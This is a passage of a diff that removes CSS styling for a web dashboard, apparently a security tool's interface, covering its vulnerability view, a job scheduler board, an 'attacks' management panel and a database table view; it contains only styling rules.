gap: var(--gap-3); - } - - .vuln-container .vuln-meta { - flex-direction: column; - gap: var(--gap-2); - } - - .vuln-container .modal-content { - width: 95%; - max-height: 90vh; - } -} - -/* ========================================================================== - SCHEDULER - ========================================================================== */ -.scheduler-container .toolbar-top { - position: sticky; - top: calc(var(--h-topbar, 0px) + 5px); - z-index: 60; -} - -.scheduler-container .controls { - position: sticky; - top: 1px; - z-index: 50; - display: flex; - flex-wrap: wrap; - align-items: center; - gap: .5rem; - padding: .6rem .8rem; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 14px; - margin: .6rem .6rem 0 .6rem; - box-shadow: var(--shadow); - backdrop-filter: saturate(1.05) blur(6px); -} - -.scheduler-container .pill { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 999px; - padding: .45rem .8rem; - cursor: pointer; - user-select: none; - -webkit-user-select: none; - font-weight: 700; - transition: transform .15s ease, box-shadow .2s ease, background .2s ease, color .2s ease; - box-shadow: var(--shadow); -} - -.scheduler-container .pill:hover { - transform: translateY(-1px); - box-shadow: 0 10px 26px rgba(0, 0, 0, .35); -} - -.scheduler-container .pill.active { - background: var(--grad-card, linear-gradient(135deg, color-mix(in oklab, var(--panel) 92%, transparent), color-mix(in oklab, var(--c-panel) 88%, transparent))); - box-shadow: inset 0 0 0 1px var(--c-border-strong), 0 6px 24px var(--glow-weak); -} - -.scheduler-container .controls input[type="text"] { - flex: 1 1 260px; - min-width: 200px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .5rem .7rem; - box-shadow: var(--shadow); - font-weight: 700; - outline: none; -} - -.scheduler-container .controls input[type="text"]:focus-visible, -.scheduler-container .pill:focus-visible { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -.scheduler-container .stats { - flex-basis: 100%; - margin-left: 0; - text-align: center; - color: var(--muted); -} - -/* Board */ -.scheduler-container .boardWrap { - height: calc(100vh - (var(--h-topbar, 0px) + 5px) - 56px - 52px); - overflow: auto; -} - -.scheduler-container .board { - display: flex; - gap: 14px; - padding: 14px; - min-width: 960px; -} - -.scheduler-container .lane { - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - width: 340px; - display: flex; - flex-direction: column; - box-shadow: var(--shadow); - min-height: 0; -} - -.scheduler-container .laneHeader { - display: flex; - align-items: center; - gap: .6rem; - padding: .6rem .75rem; - border-bottom: 1px solid var(--c-border-strong); - border-top-left-radius: 16px; - border-top-right-radius: 16px; - background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); - position: sticky; - top: 0; - z-index: 5; -} - -.scheduler-container .laneHeader .dot { - width: 10px; - height: 10px; - border-radius: 999px; - box-shadow: 0 0 0 1px rgba(255, 255, 255, .08) inset; -} - -.scheduler-container .laneHeader .count { - margin-left: auto; - color: var(--muted); - font-size: .9rem; -} - -.scheduler-container .laneBody { - padding: .6rem; - display: flex; - flex-direction: column; - gap: .6rem; - overflow: auto; - min-height: 0; -} - -/* Status dot colors */ -.scheduler-container .status-upcoming .laneHeader .dot { - background: var(--c-upcoming); - animation: sched-dotPulse 1.6s ease-in-out infinite; -} - -.scheduler-container .status-pending .laneHeader .dot { - background: var(--c-pending); -} - -.scheduler-container .status-running .laneHeader .dot { - background: var(--c-running); - animation: sched-dotPulse 1.6s ease-in-out infinite; -} - -.scheduler-container .status-success .laneHeader .dot { - background: var(--c-success); -} - -.scheduler-container .status-failed .laneHeader .dot { - background: var(--c-failed); -} - -.scheduler-container .status-expired .laneHeader .dot { - background: var(--c-expired); -} - -.scheduler-container .status-cancelled .laneHeader .dot { - background: var(--c-cancel); -} - -@keyframes sched-dotPulse { - - 0%, - 100% { - box-shadow: 0 0 0 0 rgba(74, 168, 255, 0); - } - - 50% { - box-shadow: 0 0 12px 3px rgba(74, 168, 255, .65); - } -} - -/* Cards */ -.scheduler-container .card { - position: relative; - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: .7rem .75rem; - box-shadow: var(--shadow); - display: flex; - flex-direction: column; - gap: .45rem; - overflow: hidden; - transition: transform .15s ease, box-shadow .25s ease, filter .2s ease, background .25s ease; - will-change: transform, box-shadow, filter; - background: var(--c-panel); -} - -.scheduler-container .card:hover { - transform: translateY(-1px); - box-shadow: 0 16px 36px rgba(0, 0, 0, .4); -} - -.scheduler-container .card .infoBtn { - position: absolute; - top: 6px; - right: 6px; - z-index: 3; - width: 22px; - height: 22px; - line-height: 20px; - font-weight: 800; - text-align: center; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: var(--panel); - color: var(--c-upcoming); - cursor: pointer; - user-select: none; - -webkit-user-select: none; -} - -.scheduler-container .card .infoBtn:hover { - filter: brightness(1.1); -} - -/* Card status backgrounds */ -.scheduler-container .card.status-upcoming { - background: color-mix(in oklab, var(--c-upcoming) 12%, var(--c-panel)); - animation: sched-breathe 2.6s ease-in-out infinite, sched-halo 2.6s ease-in-out infinite; -} - -.scheduler-container .card.status-pending { - background: color-mix(in oklab, var(--c-pending) 10%, var(--c-panel)); - animation: sched-breathe 2.6s ease-in-out infinite, sched-haloGray 2.8s ease-in-out infinite; -} - -.scheduler-container .card.status-running { - background: color-mix(in oklab, var(--c-running) 12%, var(--c-panel)); - animation: sched-pulse 1.8s ease-in-out infinite, sched-haloBlue 2s ease-in-out infinite; -} - -.scheduler-container .card.status-success { - background: color-mix(in oklab, var(--c-success) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-failed { - background: color-mix(in oklab, var(--c-failed) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-expired { - background: color-mix(in oklab, var(--c-expired) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-cancelled { - background: color-mix(in oklab, var(--c-cancel) 10%, var(--c-panel)); -} - -.scheduler-container .badge { - margin-left: auto; - border-radius: 999px; - padding: .15rem .6rem; - font-size: .75rem; - font-weight: 800; - color: #0a0d10; -} - -.scheduler-container .card.status-upcoming .badge { - background: var(--c-upcoming); -} - -.scheduler-container .card.status-pending .badge { - background: var(--c-pending); -} - -.scheduler-container .card.status-running .badge { - background: var(--c-running); -} - -.scheduler-container .card.status-success .badge { - background: var(--c-success); -} - -.scheduler-container .card.status-failed .badge { - background: var(--c-failed); -} - -.scheduler-container .card.status-expired .badge { - background: var(--c-expired); -} - -.scheduler-container .card.status-cancelled .badge { - background: var(--c-cancel); -} - -/* Collapsed */ -.scheduler-container .card.collapsed .kv, -.scheduler-container .card.collapsed .tags, -.scheduler-container .card.collapsed .timer, -.scheduler-container .card.collapsed .meta, -.scheduler-container .card.collapsed .btns, -.scheduler-container .card.collapsed .notice { - display: none !important; -} - -.scheduler-container .card.collapsed { - gap: .25rem; - padding: .4rem .5rem; -} - -.scheduler-container .card.collapsed .actionIcon { - width: 80px; - height: 80px; -} - -.scheduler-container .cardHeader { - display: flex; - align-items: center; - gap: .6rem; -} - -.scheduler-container .actionName { - font-weight: 800; - letter-spacing: .2px; -} - -.scheduler-container .actionIconWrap { - display: flex; - align-items: center; - justify-content: center; - margin-right: 8px; -} - -.scheduler-container .actionIcon { - width: 80px; - height: 80px; - object-fit: contain; - border-radius: 6px; - background: var(--panel); - border: 1px solid var(--c-border); -} - -.scheduler-container .card.status-running .actionIcon { - animation: sched-pulseIcon 1.2s ease-in-out infinite; -} - -.scheduler-container .card.status-pending .actionIcon { - animation: sched-swayIcon 1.8s ease-in-out infinite; -} - -.scheduler-container .card.status-upcoming .actionIcon { - animation: sched-blinkIcon 2s ease-in-out infinite; -} - -@keyframes sched-pulseIcon { - - 0%, - 100% { - transform: scale(1); - } - - 50% { - transform: scale(1.25); - } -} - -@keyframes sched-swayIcon { - - 0%, - 100% { - transform: rotate(0deg); - } - - 25% { - transform: rotate(-5deg); - } - - 75% { - transform: rotate(5deg); - } -} - -@keyframes sched-blinkIcon { - - 0%, - 100% { - opacity: 1; - } - - 50% { - opacity: .4; - } -} - -.scheduler-container .kv { - display: flex; - flex-wrap: wrap; - gap: .45rem .8rem; - font-size: .9rem; -} - -.scheduler-container .kv .k { - color: var(--muted); -} - -.scheduler-container .tags { - display: flex; - flex-wrap: wrap; - gap: .35rem; -} - -.scheduler-container .tag { - background: var(--panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - padding: .15rem .45rem; - border-radius: 999px; - font-size: .74rem; - box-shadow: var(--shadow); -} - -.scheduler-container .meta { - color: color-mix(in oklab, var(--ink) 76%, #9aa7b2); - font-size: .82rem; - display: flex; - flex-wrap: wrap; - gap: .5rem .8rem; -} - -.scheduler-container .btns { - display: flex; - flex-wrap: wrap; - gap: .4rem; - margin-top: .2rem; -} - -.scheduler-container .btn { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - padding: .35rem .6rem; - border-radius: 8px; - cursor: pointer; -} - -.scheduler-container .btn:hover { - filter: brightness(1.08); -} - -.scheduler-container .btn.danger { - background: color-mix(in oklab, #9c2b2b 22%, var(--panel)); - border-color: #4a1515; - color: #ffd0d0; -} - -.scheduler-container .btn.warn { - background: color-mix(in oklab, #9c6a2b 22%, var(--panel)); - border-color: #5c2c0c; - color: #ffd8a8; -} - -.scheduler-container .empty { - color: var(--muted); - text-align: center; - padding: .6rem; -} - -@keyframes sched-pulse { - - 0%, - 100% { - transform: scale(1); - } - - 50% { - transform: scale(1.02); - } -} - -@keyframes sched-breathe { - - 0%, - 100% { - filter: brightness(1); - } - - 50% { - filter: brightness(1.07); - } -} - -@keyframes sched-halo { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(156, 194, 255, .25); - } - - 50% { - box-shadow: 0 0 22px rgba(156, 194, 255, .45); - } -} - -@keyframes sched-haloGray { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(187, 187, 187, .15); - } - - 50% { - box-shadow: 0 0 22px rgba(187, 187, 187, .3); - } -} - -@keyframes sched-haloBlue { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(74, 168, 255, .25); - } - - 50% { - box-shadow: 0 0 26px rgba(74, 168, 255, .5); - } -} - -/* Timer / Progress */ -.scheduler-container .timer { - font-size: .82rem; - color: color-mix(in oklab, var(--ink) 80%, #bcd7ff); - display: flex; - align-items: center; - gap: .4rem; -} - -.scheduler-container .timer .cd { - font-variant-numeric: tabular-nums; -} - -.scheduler-container .progress { - height: 6px; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - overflow: hidden; -} - -.scheduler-container .progress .bar { - height: 100%; - width: 0%; - background: linear-gradient(90deg, var(--c-running), #00d8ff); -} - -/* More button */ -.scheduler-container .moreWrap { - display: flex; - justify-content: center; -} - -.scheduler-container .moreBtn { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .45rem .8rem; - cursor: pointer; - transition: transform .15s; - margin: .25rem auto 0; - box-shadow: var(--shadow); -} - -.scheduler-container .moreBtn:hover { - transform: translateY(-1px); -} - -/* Notice */ -.scheduler-container .notice { - padding: .6rem .8rem; - color: #ffd9d6; - background: color-mix(in oklab, #7a3838 55%, var(--panel)); - border-bottom: 1px solid #7a3838; - display: none; - border-radius: 12px; - margin: .6rem; -} - -/* Chips */ -.scheduler-container .chips { - display: flex; - flex-wrap: wrap; - gap: .35rem; - margin: .1rem 0 .2rem; - justify-content: center; -} - -.scheduler-container .chip { - --h: 200; - display: inline-flex; - align-items: center; - gap: .4rem; - padding: .25rem .55rem; - border-radius: 999px; - font-size: .82rem; - font-weight: 800; - color: #fff; - letter-spacing: .2px; - background: linear-gradient(135deg, rgba(255, 255, 255, .06), rgba(0, 0, 0, .12)), hsl(var(--h), 65%, 34%); - border: 1px solid hsla(var(--h), 70%, 60%, .35); - box-shadow: 0 6px 16px rgba(0, 0, 0, .22), inset 0 1px 0 rgba(255, 255, 255, .06); - transition: transform .15s ease, box-shadow .2s ease, filter .2s ease; -} - -.scheduler-container .chip:hover { - transform: translateY(-1px); - box-shadow: 0 10px 22px rgba(0, 0, 0, .28); -} - -.scheduler-container .chip .k { - opacity: .85; - font-weight: 700; -} - -/* History modal */ -.scheduler-container .modalOverlay { - position: fixed; - inset: 0; - background: rgba(0, 0, 0, .5); - display: none; - align-items: center; - justify-content: center; - z-index: 1000; -} - -.scheduler-container .modal { - width: min(860px, 92vw); - max-height: 80vh; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 14px; - box-shadow: 0 20px 56px rgba(0, 0, 0, .6); - display: flex; - flex-direction: column; - overflow: hidden; -} - -.scheduler-container .modalHeader { - display: flex; - align-items: center; - gap: .6rem; - padding: .6rem .8rem; - border-bottom: 1px solid var(--c-border-strong); - background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); -} - -.scheduler-container .modalHeader .title { - font-weight: 900; -} - -.scheduler-container .modalHeader .spacer { - flex: 1; -} - -.scheduler-container .modalBody { - padding: .6rem .8rem; - overflow: auto; - display: flex; - flex-direction: column; - gap: .35rem; -} - -.scheduler-container .modalFooter { - padding: .5rem .8rem; - border-top: 1px solid var(--c-border-strong); - display: flex; - gap: .5rem; - justify-content: flex-end; - color: var(--muted); -} - -.scheduler-container .xBtn, -.scheduler-container .miniToggle { - background: var(--panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: 8px; - padding: .35rem .6rem; - cursor: pointer; -} - -.scheduler-container .xBtn:hover, -.scheduler-container .miniToggle:hover { - filter: brightness(1.08); -} - -.scheduler-container #searchBox { - width: 100%; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .5rem .7rem; - box-shadow: var(--shadow); - font-weight: 700; - outline: none; -} - -.scheduler-container .histRow { - display: flex; - align-items: center; - gap: .6rem; - padding: .45rem .6rem; - border-radius: 10px; - border: 1px solid var(--c-border-strong); - background: color-mix(in oklab, var(--ink) 2%, var(--panel)); -} - -.scheduler-container .histRow .ts { - color: var(--muted); - font-variant-numeric: tabular-nums; -} - -.scheduler-container .histRow .st { - font-weight: 900; - margin-left: auto; - padding: .1rem .5rem; - border-radius: 999px; - font-size: .75rem; - color: #0a0d10; -} - -.scheduler-container .hist-success { - background: color-mix(in oklab, var(--c-success) 8%, var(--panel)); - border-left: 3px solid var(--c-success); -} - -.scheduler-container .hist-failed { - background: color-mix(in oklab, var(--c-failed) 8%, var(--panel)); - border-left: 3px solid var(--c-failed); -} - -.scheduler-container .hist-running { - background: color-mix(in oklab, var(--c-running) 8%, var(--panel)); - border-left: 3px solid var(--c-running); -} - -.scheduler-container .hist-pending, -.scheduler-container .hist-scheduled { - background: color-mix(in oklab, var(--c-pending) 8%, var(--panel)); - border-left: 3px solid var(--c-pending); -} - -.scheduler-container .hist-expired { - background: color-mix(in oklab, var(--c-expired) 8%, var(--panel)); - border-left: 3px solid var(--c-expired); -} - -.scheduler-container .hist-cancelled { - background: color-mix(in oklab, var(--c-cancel) 8%, var(--panel)); - border-left: 3px solid var(--c-cancel); -} - -.scheduler-container .hist-superseded { - background: color-mix(in oklab, var(--c-super) 8%, var(--panel)); - border-left: 3px solid var(--c-super); -} - -@media (max-width:920px) { - .scheduler-container .board { - flex-direction: column; - min-width: 0; - } - - .scheduler-container .lane { - width: auto; - } - - .scheduler-container .stats { - width: 100%; - margin-left: 0; - } - - .scheduler-container .boardWrap { - height: auto; - min-height: calc(100vh - (var(--h-topbar, 0px) + 5px)); - } -} - -@media (prefers-reduced-motion: reduce) { - - .scheduler-container .card, - .scheduler-container .laneHeader .dot { - animation: none !important; - } -} - -/* ========================================================================== - ATTACKS (Management) - ========================================================================== */ -.attacks-container .tabs-container { - display: flex; - gap: 4px; - margin-bottom: 16px; - padding-bottom: 8px; - border-bottom: 1px solid var(--_border); -} - -.attacks-container .attacks-sidebar>.tabs-container { - margin: 10px 10px 8px; -} - -.attacks-container .attacks-sidebar>.sidebar-page { - flex: 1; - min-height: 0; - overflow: auto; - padding: 0 10px 10px; -} - -.attacks-container .tab-btn { - flex: 1; - padding: 10px 8px; - border: none; - cursor: pointer; - font-size: 14px; - font-weight: 700; - border-radius: 10px 10px 0 0; - color: var(--_ink); - background: var(--_panel-lo); - transition: .2s; - border: 1px solid var(--_border); - border-bottom: none; -} - -.attacks-container .tab-btn:hover { - background: var(--_panel-hi); - transform: translateY(-1px); -} - -.attacks-container .tab-btn.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.attacks-container .unified-list { - list-style: none; - margin: 0; - padding: 0; -} - -.attacks-container .unified-list .card { - display: flex; - align-items: center; - gap: 12px; - padding: 10px; - margin-bottom: 6px; - cursor: pointer; - border-radius: 12px; - background: var(--_panel-lo); - transition: .2s; - border: 1px solid var(--_border); - box-shadow: none; -} - -.attacks-container .unified-list .card:hover { - background: var(--_panel-hi); - transform: translateY(-1px); - box-shadow: var(--_shadow); -} - -.attacks-container .unified-list .card.selected { - background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.attacks-container .unified-list .card img { - height: 50px; - width: 50px; - border-radius: 10px; - object-fit: cover; - background: #0b0e13; - border: 1px solid var(--_border); -} - -.attacks-container .unified-list .card span { - flex: 1; - font-weight: 700; - color: var(--_ink); -} - -.attacks-container .enable-dot { - --size: 14px; - width: var(--size); - height: var(--size); - border-radius: 999px; - border: 1px solid var(--_border); - background: var(--ko); - box-shadow: 0 0 0 0 var(--ko-glow); - transition: .18s ease; - flex: 0 0 auto; - cursor: pointer; -} - -.attacks-container .enable-dot.on { - background: var(--ok); - box-shadow: 0 0 0 4px var(--ok-glow); - border-color: color-mix(in oklab, var(--ok) 45%, var(--_border)); -} - -.attacks-container .enable-dot:focus-visible { - outline: none; - box-shadow: 0 0 0 4px color-mix(in oklab, var(--_acid2) 45%, transparent); -} - -.attacks-container .page-content { - display: none; - overflow: auto; - height: -webkit-fill-available; -} - -.attacks-container .page-content.active { - display: block; -} - -.attacks-container .editor-textarea-container { - display: flex; - flex-direction: column; - height: 100%; - gap: 12px; -} - -.attacks-container .editor-header { - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; - flex-wrap: wrap; -} - -.attacks-container .editor-buttons { - display: flex; - gap: 8px; -} - -.attacks-container .editor-textarea { - flex: 1; - min-height: 400px; - resize: vertical; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - font-size: 14px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 14px; - box-shadow: inset 0 0 0 1px transparent; - transition: .2s; -} - -.attacks-container .editor-textarea:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .actions-bar { - display: flex; - flex-wrap: wrap; - gap: 10px; - margin-bottom: 20px; - position: sticky; - top: 0; - z-index: 10; - background: var(--_panel); - padding: 10px; - border-radius: 12px; - border: 1px solid var(--_border); - backdrop-filter: blur(10px); -} - -.attacks-container .actions-bar button, -.attacks-container .chip, -.attacks-container .select, -.attacks-container .sort-toggle { - border-radius: 10px; - border: 1px solid var(--_border); - color: var(--_ink); - background: var(--_panel-lo); - padding: 10px 12px; - cursor: pointer; - transition: .2s; - font-weight: 700; -} - -.attacks-container .actions-bar button:hover, -.attacks-container .chip:hover, -.attacks-container .select:hover, -.attacks-container .sort-toggle:hover { - background: var(--_panel-hi); - transform: translateY(-1px); -} - -.attacks-container .actions-bar button.danger { - background: color-mix(in oklab, var(--_acid) 12%, var(--_panel-lo)); -} - -.attacks-container .actions-bar button.danger:hover { - background: color-mix(in oklab, var(--_acid) 18%, var(--_panel-hi)); -} - -.attacks-container .chip { - border-radius: 999px; -} - -.attacks-container .field { - position: relative; - min-width: 190px; -} - -.attacks-container .input { - width: 100%; - padding: 10px 12px 10px 36px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 10px; - outline: none; - transition: .2s; -} - -.attacks-container .input:focus { - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .field .icon { - position: absolute; - left: 10px; - top: 9px; - opacity: .7; - pointer-events: none; -} - -.attacks-container .select { - appearance: none; -} - -.attacks-container .sort-toggle { - min-width: 42px; - text-align: center; -} - -.attacks-container .range-wrap { - display: flex; - align-items: center; - gap: 8px; -} - -.attacks-container .range { - accent-color: var(--_acid); -} - -.attacks-container .image-container { - display: grid; - gap: 10px; - grid-template-columns: repeat(auto-fill, minmax(var(--tile-min), 1fr)); - padding-bottom: 140px; -} - -.attacks-container .image-item { - position: relative; - border-radius: 12px; - overflow: hidden; - cursor: pointer; - aspect-ratio: 1/1; - transition: .2s; - background: var(--_panel-lo); - border: 1px solid var(--_border); -} - -.attacks-container .image-item:hover { - transform: translateY(-2px); - box-shadow: var(--_shadow); - background: var(--_panel-hi); -} - -.attacks-container .image-item img { - width: 100%; - height: 100%; - display: block; - object-fit: contain; - background: #0b0e13; - image-rendering: pixelated; -} - -.attacks-container .image-info { - position: absolute; - inset: auto 0 0 0; - padding: 6px 8px; - text-align: center; - font-size: 12px; - color: var(--_ink); - background: linear-gradient(180deg, transparent, rgba(0, 0, 0, .75)); -} - -.attacks-container .select-ring { - position: absolute; - inset: 0; - pointer-events: none; - border: 3px solid transparent; - border-radius: 12px; - transition: .2s; -} - -.attacks-container .image-item.selectable:hover .select-ring { - border-color: color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.attacks-container .image-item.selected .select-ring { - border-color: var(--_acid2); - box-shadow: inset 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.attacks-container .tick-overlay { - position: absolute; - top: 8px; - right: 8px; - width: 26px; - height: 26px; - border-radius: 50%; - background: color-mix(in oklab, var(--_acid) 80%, white); - color: #001; - font-weight: 900; - display: none; - align-items: center; - justify-content: center; - box-shadow: var(--_shadow); -} - -.attacks-container .image-item.selected .tick-overlay { - display: flex; -} - -.attacks-container .skeleton { - border-radius: 12px; - aspect-ratio: 1/1; - background: linear-gradient(90deg, rgba(255, 255, 255, .03) 25%, rgba(255, 255, 255, .08) 37%, rgba(255, 255, 255, .03) 63%); - background-size: 400% 100%; - animation: atk-shimmer 1.1s infinite; - border: 1px solid var(--_border); -} - -@keyframes atk-shimmer { - 0% { - background-position: 100% 0; - } - - 100% { - background-position: 0 0; - } -} - -.attacks-container .edit-only { - display: none; -} - -.attacks-container .edit-mode .edit-only { - display: inline-flex; -} - -.attacks-container .status-only { - display: none; -} - -.attacks-container .static-only { - display: none; -} - -.attacks-container .status-mode .status-only { - display: inline-block; -} - -.attacks-container .static-mode .static-only { - display: inline-block; -} - -.attacks-container .web-only { - display: none; -} - -.attacks-container .icons-only { - display: none; -} - -.attacks-container .web-mode .web-only { - display: inline-block; -} - -.attacks-container .icons-mode .icons-only { - display: inline-block; -} - -.attacks-container .comments-container { - display: flex; - flex: 1 1 auto; - min-height: 0; -} - -.attacks-container .buttons-container { - display: flex; - align-items: center; - justify-content: flex-end; - gap: 8px; - margin-bottom: 10px; - flex-wrap: wrap; -} - -.attacks-container .buttons-container h2 { - margin-right: auto; -} - -.attacks-container .comments-editor { - flex: 1 1 auto; - min-width: 0; - min-height: 0; - overflow: auto; - white-space: pre; - word-wrap: normal; - background: var(--_panel-lo); - color: var(--_ink); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 16px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - font-size: 14px; -} - -.attacks-container .comments-editor:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .comments-editor.placeholder { - color: var(--_muted); -} - -.attacks-container .comment-line { - display: block; - width: 100%; -} - -.attacks-container .comment-line:nth-child(odd) { - color: var(--_ink); -} - -.attacks-container .comment-line:nth-child(even) { - color: var(--_acid); -} - -.attacks-container .modal-action { - display: none; - position: fixed; - inset: 0; - z-index: 1000; - padding: 10px; - background: rgba(0, 0, 0, .6); - justify-content: center; - align-items: center; -} - -.attacks-container .modal-content { - position: relative; - width: 100%; - max-width: 520px; - max-height: 90vh; - overflow-y: auto; - background: var(--_panel-hi); - padding: 20px; - border-radius: 14px; - border: 1px solid var(--_border); - box-shadow: var(--_shadow); -} - -.attacks-container .modal-header h3 { - margin: 0 0 10px 0; - color: var(--_ink); -} - -.attacks-container .modal-body { - margin-bottom: 20px; -} - -.attacks-container .modal-footer { - display: flex; - justify-content: flex-end; - gap: 10px; -} - -.attacks-container .close { - position: absolute; - right: 10px; - top: 10px; - font-size: 24px; - cursor: pointer; - color: var(--_muted); -} - -.attacks-container .form-group { - margin-bottom: 15px; -} - -.attacks-container .form-group label { - display: block; - margin-bottom: 6px; - color: var(--_muted); - font-weight: 700; -} - -.attacks-container .form-group input[type="text"], -.attacks-container .form-group input[type="number"], -.attacks-container .form-group input[type="file"] { - width: 100%; - padding: 10px 12px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 10px; - outline: none; - transition: .2s; -} - -.attacks-container .form-group input:focus { - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .action-btn-container { - padding: 2px; - gap: 2px; - display: flex; - flex-direction: row; - flex-wrap: wrap; - align-content: center; - justify-content: center; - align-items: center; -} - -.attacks-container .hero-btn { - border-radius: 16px; - background: var(--grid), var(--grad-hero); - position: sticky; - bottom: 0; - border: 1px solid var(--c-border); - box-shadow: var(--shadow); - display: grid; - align-items: center; - justify-items: center; - text-align: center; - padding: 6px; -} - -@media (max-width:480px) { - .attacks-container .tabs-container { - gap: 2px; - } - - .attacks-container .tab-btn { - font-size: 13px; - padding: 8px 6px; - } - - .attacks-container .actions-bar { - gap: 8px; - } -} - -/* ========================================================================== - DATABASE - ========================================================================== */ -.db-container { - --db-row-hover: rgba(0, 255, 154, .06); - --db-row-selected: rgba(0, 255, 154, .12); - --db-cell-edited: rgba(24, 240, 255, .18); - --db-cell-focus: rgba(0, 255, 154, .22); - --sidebar-w: 280px; - min-height: 100%; - display: flex; - flex-direction: column; -} - -.db-container .db-header { - position: sticky; - top: 0; - z-index: 20; - background: var(--grad-topbar); - border: 1px solid var(--c-border); - border-radius: 12px; - padding: 12px; - box-shadow: var(--shadow); - margin-bottom: 12px; -} - -.db-container .sticky-actions { - position: sticky; - bottom: 0; - z-index: 15; - display: flex; - gap: 8px; - justify-content: flex-end; - padding: 8px; - background: linear-gradient(180deg, rgba(0, 0, 0, 0), rgba(0, 0, 0, .4)); - border-top: 1px solid var(--c-border); - border-radius: 12px; - backdrop-filter: blur(4px); -} - -.db-container .db-tree { - display: grid; - gap: 6px; -} - -.db-container .tree-head { - display: flex; - gap: 8px; - align-items: center; - margin-bottom: 8px; -} - -.db-container .tree-search { - display: flex; - gap: 6px; - align-items: center; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; - padding: 6px 8px; -} - -.db-container .tree-search input { - all: unset; - flex: 1; - color: var(--ink); -} - -.db-container .tree-group { - margin-top: 10px; -} - -.db-container .tree-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 10px; - border: 1px solid var(--c-border); - border-radius: 10px; - background: var(--c-panel-2); - cursor: pointer; - transition: .18s; -} - -.db-container .tree-item:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); - transform: translateX(2px); -} - -.db-container .tree-item.active { - background: linear-gradient(180deg, #0b151c, #091219); - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); -} - -.db-container .tree-item .count { - margin-left: auto; - padding: 2px 8px; - border-radius: 999px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border-hi); - font-size: 11px; - color: var(--muted); -} - -.db-container .db-title { - display: flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--acid); - letter-spacing: .08em; -} - -.db-container .db-controls { - display: flex; - flex-wrap: wrap; - gap: 8px; - margin-top: 10px; -} - -.db-container .db-search { - display: flex; - align-items: center; - gap: 8px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; - padding: 0 10px; - min-width: 220px; - flex: 1; -} - -.db-container .db-search input { - all: unset; - color: var(--ink); - height: 34px; - flex: 1; -} - -.db-container .db-opts { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.db-container .hint { - color: var(--muted); - font-size: 12px; -} - -.db-container .sep { - width: 1px; - height: 24px; - background: var(--c-border); - margin: 0 4px; - opacity: .6; -} - -.db-container .db-wrap { - display: flex; - flex-direction: column; - gap: 12px; - min-height: 0; - flex: 1; -} - -.db-container .db-table-wrap { - position: relative; - overflow: auto; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - flex: 1; - min-height: 0; -} - -.db-container table.db { - width: 100%; - border-collapse: separate; - border-spacing: 0; -} - -.db-container .db-table-wrap table.db thead th { - position: sticky; - top: 0; - z-index: 5; - background: var(--c-panel); - border-bottom: 